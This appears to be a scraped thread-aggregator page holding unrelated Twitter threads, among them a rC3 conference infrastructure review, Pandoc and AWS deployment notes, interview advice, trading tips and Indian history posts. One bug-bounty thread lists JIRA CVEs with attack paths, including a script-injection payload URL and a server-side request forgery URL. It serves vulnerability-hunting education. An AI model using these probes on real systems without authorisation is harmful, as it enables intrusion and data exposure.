BC SOFTWARE
Saved by @CodyyyGardner

Infrastructure review #rc3

 There were only 18 heralds for all the talks. It was really hard to pull off, this conference also started a news show. #rc3
Next is the heaven team. 1487 total angels volunteered of which 710 arrived. 76 weeks worth of work hours were done by the angels. They prepared a few goodies for the RC3 world. Badges were given to show angels. Tried to keep traditions from the conference on RC3 world. #rc3
Huge thanks to all the angels who volunteered. This conference would not be possible with the help of everyone. #rc3
Next team is the signal angels, this is the first time that people had to do remote Q&A. The procedure was quite different to the in person event. There were 157 shifts filled by 61 angels. There were 5 unfilled shifts. #rc3
A few things went wrong, some questions were long and need to split apart. Formatted questions were also a challenged. There were on average of 9.94 questions per talk. #rc3
The next team is the line producers which handles the communication between everyone that handles the production of the talk. This includes the people behind the cameras, technical side and the speakers themselves. #rc3
There were 25 studios (pre-recording and live). 19 live broadcast channels including main streams and assemblies. Over 350 talks and performances. Events in main channels produced by a studio. #rc3
There were 53 talks for the main channels. 18 of them were precorded, 3 live in a studio session
32 live via the internet. The team prepared 63 speakers and they coordinated production between the master control room and 12 live studios. #rc3
2020 was the year of remote talks, there were 2 prior events to learn from. 2 new CDNs were added which brings the total to 7 CDNs with a total bandwidth of ~80GB. Added 2 transcoder machines. Various spaces were able to enhance their setups with public funding. #rc3
Below is the diagrams of the various input and processing channels. The various communication paths caused a number of issues due to the complexity. #rc3
Some of the remote setups that were used as part of the broadcast for the various streams. #rc3
Some more remote setups that were used as part of the broadcast for the various streams. #rc3
Then the issues started rolling in. A lot of both hardware and software investigations had to be done. There were many malformed packets that causes issues. #rc3
Next up is the c3 Lingo team. 36 volunteers translated 138 events which resulted 106 hours of translated video. 5 talks were translated to French, 3 talks were translated to Portuguese. There were quite a number of issues with audio and timing between multiple translators. #rc3
The next team is the subtitles team. The team uses speech recognition software to get a raw version of the subtitles afterwhich angels correct mistakes and do quality control. 68 angels worked 4 shifts on average. They worked 382 hours for 147 hours of content. #rc3
Next is the Phone Operation Center (POC). 1195 SIP extensions, There were 21K calls (in the previous conference, it was 300K calls). Eventphone setup a Decentralized DECT infrastructure (EPDDI) and there were a number of phones that were used. #rc3
The RC3 world contained a phone that you could virtually use to call a SIP number. Someone made a flamethrower that could be controlled by a DECT Handset - C3 Fire. The team also made pictures available over SSTV on DECT, where you could get an image from an audio waveform. #rc3
Next is GSM team that had a setup across Germany, Berlin and one in Mexico. #rc3
Next is the Haecksen team which used over 7 million pixels to display the world with hundreds of git commits. 132 people received badges for testing the virtual swimming pool. They had 133 people with zero lag. Over 50 goodie bags with masks and microcontrollers were made. #rc3
The ChaosPat team set up a number of mentor and mentee sessions in the virtual RC3 world. #rc3
Next is the adventure world team that built the RC3 world. Work started in November, There were several upstream merge issues. Some of the issues with instance jumps were fixed on day 2. Over 400 commits for the initial world deployment. #rc3
A faulted loop caused a lot of logs to be generated. This was fixed on day -5. On day -1, the deployer was finally working. A bug in the application causes people to not see each other. #rc3
The most popular place was the lobby followed by the hardware hacking area. The most people in RC3 world at once was 1642. Over 2 millions tiles were used to create 628 maps which represented over 203 assemblies. #rc3
Lots of people worked really hard to get these maps to where they are. Thank you! 405 servers were deleted by a typo. Automation for the win! Huge thanks to Hetzner for sponsoring the hardware that run the RC3 world. #rc3
Thanks to the RC3 lounge artists from many countries from around the world. #rc3

More from Software

C\U000100cfrtex Futura
C𐃏rtex Futura
@cortexfutura
[[Knowledge Management]], [[Reproducible [[Social [[Science]]]]]], and [[Academic Workflow]]s – 100 Tweets for @threadapalooza 2020, let's go
#roamcult #𐃏
1/100

Pandoc is a magical piece of software, and if you're not using it for your academic writing you're missing out. Compile (basically) any document format to (basically) any other document format.
2/100

While Pandoc is fantastic, it's a bit like ffmpeg: extremely powerful, but without GUI apps too few people will use it. ffmpeg has a ton of GUI apps that basically just wrap the CLI, Pandoc doesn't have enough of them.
3/100

Citekeys + CSL files + Pandoc can easily cut ~10+ hours from your writing workflow. Citekeys come from LaTeX-Land, you can use them through Pandoc with anything. And CSL files make it super easy to switch citation styles.
4/100

Since many journals have their own version of popular formats, every journal should be required to publish a CSL file, LaTeX and Word Pandoc template ready for submission. I don't want to think about the collective hours wasted formatting stuff for submission.
5/100
SOFTWARE
GSK | https://secure.actblue.com/donate/ab_mn
GSK | https://secure.a...
@gosokkyu
forgive my indulgence but 2020's been a big year for @shmuplations, so here's a look back at everything that went up over the last twelve months—there's a lot of stuff I'm sure you all read & other things you'd be forgiven for missing, so let's recap (thread)

the year kicked off with shmuplations' first big video project: a subtitled translation of a 2016 NHK documentary on the 30th anniversary of Dragon Quest which features interviews with Yuji Horii, Koichi Nakamura, Akira Toriyama, and Koichi Sugiyama https://t.co/JCWA15RTlx


following DQ30 was one of the most popular articles of the year: an assortment of interviews with composers Yuzo Koshiro and Motohiro Kawashima concerning the music of Streets of Rage 1, 2 & 3 https://t.co/QUtyC9W12Z their comments on SoR3 in particular were full of gems


Game Designers: The Next Generation profiled six potential successors to the likes of Shigeru Miyamoto & Hironobu Sakaguchi, some of who you may recognise: Kazuma Kaneko, Takeshi Miyaji (1966-2011), Noboru Harada, Kan Naitou, Takashi Tokita & Ryoji Amano https://t.co/lWZU3PLvwX


from the 2010 Akumajou Dracula Best Music Collections Box, a subbed video feature on long-time Castlevania composer Michiru Yamane https://t.co/NMJe4ROozR sadly, Chiruru has since passed; Yamane wrote these albums in his honor

https://t.co/orlgPTDsKK

https://t.co/QnQl8KI9IX
SOFTWARE
Advertisement
Harsh Bothra
Harsh Bothra
@harshbothra_
#Learn365 Day-4: Unauthenticated & Exploitable JIRA Vulnerabilities

There are multiple security vulnerabilities associated with the various versions of JIRA software which are exploited in wild and is one of my personal favourite 3rd Party apps to hunt.

#BugBountyTips

(1/n)

(2/n)
1. CVE-2020-14179 (Information Disclosure)
a. Navigate to /secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.

2. CVE-2020-14181 (User Enumeration)
a. Navigate to /secure/ViewUserHover.jspa?username=

(3/n)
3. CVE-2020-14178 (Project Key Enumeration)
a. Navigate to /browse.
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can often get unauthenticated access to the project if the protections are not in place.

(4/n)
4. CVE-2019-3402 (XSS)
a. Navigate to /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search

5. CVE-2019-11581 (SSTI)
a. Navigate to /secure/ContactAdministrators!default.jspa

(5/n)
6. CVE-2019-3396 (Path Traversal)
7. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:[email protected]
8. CVE-2019-8451 (SSRF)
a. Navigate to
SOFTWARE
Yan Cui is making the AppSync Masterclass
Yan Cui is making the ...
@theburningmonk
If you missed @clare_liguori's Continuous Delivery session this week (like I did) then good news, it's available on-demand now 🎊

https://t.co/78b8sI2hHs

And here's my play-by-play for the session

🧵...

This is a typical CD pipeline in AWS.

This is far more complex than the most complex CD pipeline I have ever had! Just cos it's complex, doesn't mean it's over-engineered though. Given the blast radius, I'm glad they do releases carefully and safely.


If you look closely, beyond all the alpha, beta, gamma environments, it's one-box in a region first then the rest of the region, I assume starting with the least risky regions first.

For anyone thinking about going multi-region (after the recent Kinesis outage), this is one of the complexities you need to consider. To do multi-region right and deploy safely (minimize blast radius), this is one of the complexities you have to factor in.

This "deploy small at first then more broadly" principle applies to #serverless apps too, though you can't "deploy to one box". You can do it with canary deployments instead, CodeDeploy supports this practice for Lambda (using weighted aliases) out-of-the-box.
SOFTWARE
Sunil Kumar
Sunil Kumar
@sunilc_
How should one approach System Design questions during an interview?

Here's the step by step guide:

🧵👇🏻

System design interviews are generally open ended discussions. There's no one right answer.

The main focus in this round is to see your thought process and whether you'll be able to design a minimal system keeping future scale in mind and by following the standard principles.

Know that many interviewers deliberately make it hard to see how you approach a given problem.

You cannot possibly design a complex system in 1-2 hours which engineers usually take months to years to design, develop and build.

So this is how you should approach this round:

1. Clarify the requirements: As mentioned earlier the questions are generally very open ended. So you need to ask a lot of question to set the scope clear for the discussion.

Example: "Design an application like Twitter"

Twitter has a lot of features like:
- Post tweet
- Home timeline
- Profile timeline
- Analytics
- Likes
- Retweets
- Following
- Bookmark
- Trending etc

You get the idea!
SOFTWARE , INFO

You May Also Like

Nikita Poojary
Nikita Poojary
@niki_poojary
Time for a Thread🧵On yesterday’s “F&O Pe Charcha - Diary Of An Option Seller” with @Mitesh_Engr by @Paytm Money

Why Gain/loss ratio is important that the batting average
• More than the Win Loss ratio check the total Gain /loss ratio
• If your avg loss is 1% and avg gain is +5% then even if you are losing in 7 positions and winning in 3 out of 10 still you will be net profitable

Treat Trading as a business:
• Stick to a single strategy. Eg: A restaurateur usually wouldn’t be changing his recipe on a daily basis
• Mitesh Sir only works on BO or BD strategy, as he is a versatile trader

• Any trader should atleast experience 3 scenarios i.e. bull, bear & consolidation
• Target 4% per month i.e. 48% p.a.
• Option buying requires skill, everyday there wont be huge momentum, so buying options won’t yield good results, but high chances of falling into a bad habit

Stock Selection:
• In F&O segment there are ~150 stocks
• Not everyday all stocks will move
• Only 5-7 stocks move upside or downside
• Focus only these momentum stocks
• Check which one is moving
• Range BO/BD never disappoints. BO/BD from a rectangle (consolidation)
MPLEARNINGS , ALL , OPTION SELLING
WORLD OF SANATAN DHARMA
WORLD OF SANATAN DHARM...
@world_sanatan
EVOLUTION OF CROWNS

The ancient Indian kings called a head crown as a Mukut and it would mostly constitute of a golden ornamental headgear like an oval cap with gems.

Sometimes it would also include a halo circle to show the divinity of the king

1/7


As it was considered that kings were appointment by the gods themselves. Example the kings of mewar considered themselves to be the ‘Diwan of eklingji')

But in most cases very few Mukut with halo effect have been found.

2/7

Samudragupta in the gupta era coin. You can see the helmet like headwear on him.

Till gupta era the solid golden head wear was used in most days of the monarch.

But since the onset of 8th century it reduced in usage and was now used only as a ceremonial headwear.

3/7


Whereas earlier the Maharaja had to wear the mukut whenever his court was in session.

Still mukut was being used prominently for ceremonial activities till recent times.

Maharaj Dahir of Sindh👇

4/7


But as times past the style of headwear also changed.

The kings mostly wore turbans ordained with pearls and gems while rarely anyone wore a true Mukut after 16th century.

Portrait of Sri Krishna Dev Raya👇

5/7
ALL
Advertisement
Eric
Eric
@ericbahn
1/ Recently, I learned about the concept of ‘struggle porn’. This refers to the fetish of sacrificing nearly everything (health, relationships, time) for your startup. I fear that this label is creating more harm than good.

2/ @nateliason wrote a fabulous article about this topic, which first introduced me to this concept. Everyone should read it:

3/ @alexisohanian also recently spoke about struggle porn, though referring to it as ‘hustle porn.’ (as the co-founder of @hustlefundvc, obviously I take issue with this pejorative definition of ‘hustle’, but that’s another topic)

4/ Struggling in itself isn’t necessarily bad. Let’s be real here--if you’re going to start a startup, you will struggle. Founders should expect to work harder generally than employees. You will be challenged in many ways and also be super rewarded in others. This is normal.

5/ However, if you are over-indexing on hard work without clear purpose and degrading your mental health/relationships in the process--then this is very bad and we obviously should not celebrate this behavior.
STARTUPS
Sumit Grrg
Sumit Grrg
@sumitgrrg
These 10 threads will teach you more than reading 100 books

Five billionaires share their top lessons on startups, life and entrepreneurship (1/10)


10 competitive advantages that will trump talent (2/10)


Some harsh truths you probably don’t want to hear (3/10)


10 significant lies you’re told about the world (4/10)
ALL , MOTIVATION , BOOKS
Anu Satheesh \U0001f1ee\U0001f1f3
Anu Satheesh 🇮🇳...
@AnuSatheesh5
Samayapuram Mariamman Temple
#Trichy
#Tamilnadutemples 🚩

Samayapuram Mariamman Temple is located in Samayapuram of
 Tiruchirappalli district.  Mariyamman here is worshipped as Samayapurathal a form of Parashakti.
Amman vigraham here is made of sand and clay so


no abhishekam done to the main vigraham. Samayapuram Mariamman Temple is one of the famous Shakthi Sthal of Tamilnadu.

Story says that paramashiva created Kali, out of the poison that he drank during samudra mathanam.  As Devi originated from the Kaalakoota/ halahala poison,


thus the name Kaali. Mariamman is believed to be a form of Kaali, and is also known as Mahamayi. It is also believed that Maharaja Dasharatha offered his prayers here.

Mariamman is Parashakti herself who blesses with prosperity and she is believed to cure all diseases.


Paramashiva, Mahavishnu and Brahma Deva are believed to have taken blessings of Mariamman here.

Om Shakti Para Shakti
🙏🕉🙏
ALL